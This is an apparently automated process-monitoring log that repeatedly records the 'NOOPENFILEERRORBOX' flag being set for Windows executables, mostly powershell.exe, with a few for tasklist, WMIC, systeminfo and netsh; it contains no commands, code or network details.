Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
